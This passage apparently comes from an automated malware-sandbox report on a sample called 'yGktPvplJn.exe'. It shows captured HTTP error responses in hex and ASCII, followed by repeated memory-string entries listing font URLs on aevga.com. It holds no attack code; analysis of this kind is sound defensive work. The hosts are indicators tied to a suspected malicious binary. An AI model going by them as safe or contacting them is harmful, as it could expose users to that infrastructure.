61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:12 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:27 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cJ7wGqkm%2FMHfgLBoQl6epmJwyo5jPfYzvSZEtpe%2BD1Rsw36aClFXEmjolwcLY%2BTAY9fOJhaxlnCxc1Ate8g5if6Lbkwr6hBlGE24SF4EToX24JDYeg8pdBDUXMpurw34"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811fa6280c4799-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex,
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:19:12 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:19:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=b5cb7c74-6547-4dc4-b23e-ae375c58ff85; path=/; expires=Fri, 25 Oct 2024 09:49:12 GMT; HttpOnly; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:19:12 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:19:12 GMT; Domain=domon.com; Path=/; SameSite=Laxset-cookie: _shopify_s=29ff8454-0c62-45e0-9441-201fcf13e7b6; Expires=Fri, 25-Oct-24 09:49:12 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:28 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EJRt23eeRAverBSoCQqYCCtGDANSnZdiB7Ybcz7GSt%2Fx5Sm3LZjopqAxooleNyhbwS1Ah5lIOI2EI6ZR0G0jmpPLUWM6BOdh2Y1m%2BkYYy%2FRtRBMxw%2B3MjvxFP8CwbfY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811facd9486b51-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1243&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=811&delivery_rate=0&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:19:13 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:13 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUQjIg1_i6t8kCHKm459WxRxC7mw9c.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUQjIg1_i6t8kCHKm459WxRxi7mw9c.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUQjIg1_i6t8kCHKm459WxRxy7mw9c.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/montserrat/JTUQjIg1_i6t8kCHKm459WxRyS7m.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, 